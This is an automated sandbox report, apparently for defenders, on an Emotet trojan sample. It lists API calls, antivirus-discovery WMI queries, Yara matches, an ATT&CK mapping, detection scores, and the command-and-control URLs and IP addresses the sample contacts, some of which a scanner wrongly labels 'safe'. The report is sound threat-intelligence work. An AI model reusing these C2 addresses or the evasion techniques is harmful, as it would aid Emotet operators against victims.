Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E559DE mov eax, dword ptr fs:[00000030h]	1_2_00E559DE
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E5095E mov eax, dword ptr fs:[00000030h]	1_2_00E5095E
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E61030 mov eax, dword ptr fs:[00000030h]	1_2_00E61030

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_0114D5D3 GetProcessHeap,

0_2_0114D5D3

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01150719 SetUnhandledExceptionFilter,	0_2_01150719
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_0115074A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0115074A
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01150719 SetUnhandledExceptionFilter,	1_2_01150719
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_0115074A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0115074A

Source: ipsmsnap.exe, 00000001.00000002.468782451.0000000001760000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.468409509.0000026BD2060000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: ipsmsnap.exe, 00000001.00000002.468782451.0000000001760000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.468409509.0000026BD2060000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: ipsmsnap.exe, 00000001.00000002.468782451.0000000001760000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.468409509.0000026BD2060000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: ipsmsnap.exe, 00000001.00000002.468782451.0000000001760000.00000002.00000001.sdmp, svchost.exe, 00000007.00000002.468409509.0000026BD2060000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_0114A7BC cpuid

0_2_0114A7BC

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: EnumSystemLocalesW,	0_2_01155179
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_011551FC
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: GetLocaleInfoW,	0_2_0115500C
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: EnumSystemLocalesW,	0_2_011550BC
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: EnumSystemLocalesW,	0_2_011550FC
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: GetLocaleInfoW,	0_2_011553F1
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0115551B
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: EnumSystemLocalesW,	0_2_01150D02
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: GetLocaleInfoW,	0_2_01150D3F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: GetLocaleInfoW,	0_2_011555C8
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLangCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_01155632
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: _GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,IsValidCodePage,GetLocaleInfoW,	0_2_01154E48
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: EnumSystemLocalesW,	1_2_01155179
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_011551FC
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: GetLocaleInfoW,	1_2_0115500C
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: EnumSystemLocalesW,	1_2_011550BC
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: EnumSystemLocalesW,	1_2_011550FC
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: GetLocaleInfoW,	1_2_011553F1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0115551B
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: EnumSystemLocalesW,	1_2_01150D02
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: GetLocaleInfoW,	1_2_01150D3F
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: GetLocaleInfoW,	1_2_011555C8
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLangCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_01155632
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: _GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,IsValidCodePage,GetLocaleInfoW,	1_2_01154E48

Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_01150216 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_01150216

Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Code function: 1_2_004052E0 RtlGetVersion,GetNativeSystemInfo,GetNativeSystemInfo,

1_2_004052E0

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: svchost.exe, 0000000B.00000002.468110144.0000026AEC03D000.00000004.00000001.sdmp	Binary or memory string: @V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000B.00000002.468195529.0000026AEC102000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 1.2.ipsmsnap.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f279e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.980000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f279e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.467934925.0000000000E50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.202145856.0000000000814000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.202173410.0000000000981000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.467972344.0000000000E64000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	Process Injection2	Masquerading121	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel22	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Default Accounts	Command and Scripting Interpreter2	Application Shimming1	DLL Side-Loading1	Disable or Modify Tools1	LSASS Memory	Security Software Discovery61	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Application Shimming1	Virtualization/Sandbox Evasion2	Security Account Manager	Virtualization/Sandbox Evasion2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection2	NTDS	Process Discovery3	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Hidden Files and Directories1	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	System Information Discovery45	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PHvqpLRfRl.exe	77%	Virustotal		Browse
PHvqpLRfRl.exe	54%	Metadefender		Browse
PHvqpLRfRl.exe	89%	ReversingLabs	Win32.Trojan.Emotet
PHvqpLRfRl.exe	100%	Avira	HEUR/AGEN.1138888

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.ipsmsnap.exe.e5052e.1.unpack	100%	Avira	HEUR/AGEN.1142428	Download File
1.0.ipsmsnap.exe.1140000.0.unpack	100%	Avira	HEUR/AGEN.1138888	Download File
1.2.ipsmsnap.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.ipsmsnap.exe.e5279e.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.PHvqpLRfRl.exe.980000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.PHvqpLRfRl.exe.3f279e.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.ipsmsnap.exe.1140000.3.unpack	100%	Avira	HEUR/AGEN.1138888	Download File
0.2.PHvqpLRfRl.exe.3f052e.1.unpack	100%	Avira	HEUR/AGEN.1142428	Download File
0.0.PHvqpLRfRl.exe.1140000.0.unpack	100%	Avira	HEUR/AGEN.1138888	Download File
0.2.PHvqpLRfRl.exe.1140000.4.unpack	100%	Avira	HEUR/AGEN.1138888	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/PBsOTo7qERajOZz1lh/LN3m/MNxh/5?	0%	Avira URL Cloud	safe
http://74.219.172.26/3vre0AbvHoC/72zolH2gtmnbq3QOxa/GmI2ntvI/3wNRQ8Motcr5/	0%	Avira URL Cloud	safe
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/#?	0%	Avira URL Cloud	safe
http://194.187.133.160:443/rRPAuzYPI/PCfjdWIpUQcAD/TNhKcjKj/nadJLloIjR2s5GA9b/NUnsi05bbdpoKVYXGgn/R8	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/c8	0%	Avira URL Cloud	safe
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/m	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/	0%	Avira URL Cloud	safe
http://104.236.246.93:8080/nNKoq5kK/=	0%	Avira URL Cloud	safe
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/	0%	Avira URL Cloud	safe
http://104.236.246.93:8080/nNKoq5kK/	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
http://134.209.36.254:8080/tWwU/w3xB1Bhz7yaslBgJS/q49F3NAtj1IqnXaW2A/GIQOEsdbSxikR6wT/lMJv8yE/	0%	Avira URL Cloud	safe
http://104.156.59.7:8080/3x1oIXeY	0%	Avira URL Cloud	safe
http://104.236.246.93:8080/nNKoq5kK/n	0%	Avira URL Cloud	safe
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/3	0%	Avira URL Cloud	safe
https://dynamic.t	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/PBsOTo7qERajOZz1lh/LN3m/MNxh/5?	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000009.00000003.308835499.00000184DC250000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
http://74.219.172.26/3vre0AbvHoC/72zolH2gtmnbq3QOxa/GmI2ntvI/3wNRQ8Motcr5/	ipsmsnap.exe, 00000001.00000003.276535300.00000000030C4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/#?	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000009.00000002.309167893.00000184DC242000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
http://194.187.133.160:443/rRPAuzYPI/PCfjdWIpUQcAD/TNhKcjKj/nadJLloIjR2s5GA9b/NUnsi05bbdpoKVYXGgn/R8	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=	svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000009.00000002.309167893.00000184DC242000.00000004.00000001.sdmp	false		high
http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/c8	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/m	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://appexmapsappupdate.blob.core.windows.net	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
http://120.138.30.150:8080/2aF5ml4oR/WXLdIdZGpJmXIp5/	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://104.236.246.93:8080/nNKoq5kK/=	ipsmsnap.exe, 00000001.00000002.470792566.00000000030DE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bingmapsportal.com	svchost.exe, 00000009.00000002.309127915.00000184DC213000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://104.236.246.93:8080/nNKoq5kK/	ipsmsnap.exe, 00000001.00000002.470677696.00000000030B0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000009.00000003.308892949.00000184DC245000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000009.00000003.308864231.00000184DC24C000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.309127915.00000184DC213000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000009.00000003.308835499.00000184DC250000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	false		high
http://134.209.36.254:8080/tWwU/w3xB1Bhz7yaslBgJS/q49F3NAtj1IqnXaW2A/GIQOEsdbSxikR6wT/lMJv8yE/	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
http://104.156.59.7:8080/3x1oIXeY	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://104.236.246.93:8080/nNKoq5kK/n	ipsmsnap.exe, 00000001.00000002.470677696.00000000030B0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://104.156.59.7:8080/3x1oIXewHYdNlV01/MCzATjJI1I/RPBsOTo7qERajOZz1lh/LN3m/MNxh/3	ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000009.00000003.308864231.00000184DC24C000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	svchost.exe, 00000004.00000002.470303423.0000025BE66A0000.00000002.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000009.00000002.309195425.00000184DC265000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000009.00000002.309155756.00000184DC239000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000009.00000003.308864231.00000184DC24C000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000009.00000003.308854579.00000184DC261000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000006.00000002.467720725.0000025C8183D000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000009.00000003.308869309.00000184DC249000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
94.200.114.161	unknown	United Arab Emirates	15802	DU-AS1AE	true
85.152.162.105	unknown	Spain	12946	TELECABLESpainES	true
174.102.48.180	unknown	United States	10796	TWC-10796-MIDWESTUS	true
169.239.182.217	unknown	South Africa	37153	xneeloZA	true
200.123.150.89	unknown	Argentina	16814	NSSSAAR	true
220.245.198.194	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	true
104.131.11.150	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
176.111.60.55	unknown	Ukraine	24703	UN-UKRAINE-ASKievUkraineUA	true
94.23.237.171	unknown	France	16276	OVHFR	true
187.161.206.24	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	true
139.162.108.71	unknown	Netherlands	63949	LINODE-APLinodeLLCUS	true
156.155.166.221	unknown	South Africa	37611	AfrihostZA	true
104.32.141.43	unknown	United States	20001	TWC-20001-PACWESTUS	true
94.1.108.190	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	true
87.106.139.101	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
213.196.135.145	unknown	Switzerland	21040	DATAPARKCH	true
62.30.7.67	unknown	United Kingdom	5089	NTLGB	true
79.98.24.39	unknown	Lithuania	62282	RACKRAYUABRakrejusLT	true
107.5.122.110	unknown	United States	7922	COMCAST-7922US	true
75.139.38.211	unknown	United States	20115	CHARTER-20115US	true
87.106.136.232	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
110.5.16.198	unknown	Japan	4685	ASAHI-NETAsahiNetJP	true
104.131.44.150	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
62.75.141.82	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	true
124.41.215.226	unknown	Nepal	17501	WLINK-NEPAL-AS-APWorldLinkCommunicationsPvtLtdNP	true
172.91.208.86	unknown	United States	20001	TWC-20001-PACWESTUS	true
37.139.21.175	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
194.187.133.160	unknown	Bulgaria	13124	IBGCBG	true
24.43.99.75	unknown	United States	20001	TWC-20001-PACWESTUS	true
95.213.236.64	unknown	Russian Federation	49505	SELECTELRU	true
46.105.131.79	unknown	France	16276	OVHFR	true
